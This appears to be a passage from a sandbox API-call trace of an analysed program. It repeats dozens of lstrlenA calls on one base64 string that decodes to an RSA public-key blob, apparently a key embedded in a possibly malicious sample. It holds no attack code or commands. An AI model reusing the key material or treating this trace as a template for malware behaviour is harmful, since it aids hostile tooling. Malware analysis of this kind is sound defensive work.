(lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.874] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.875] lstrlenA 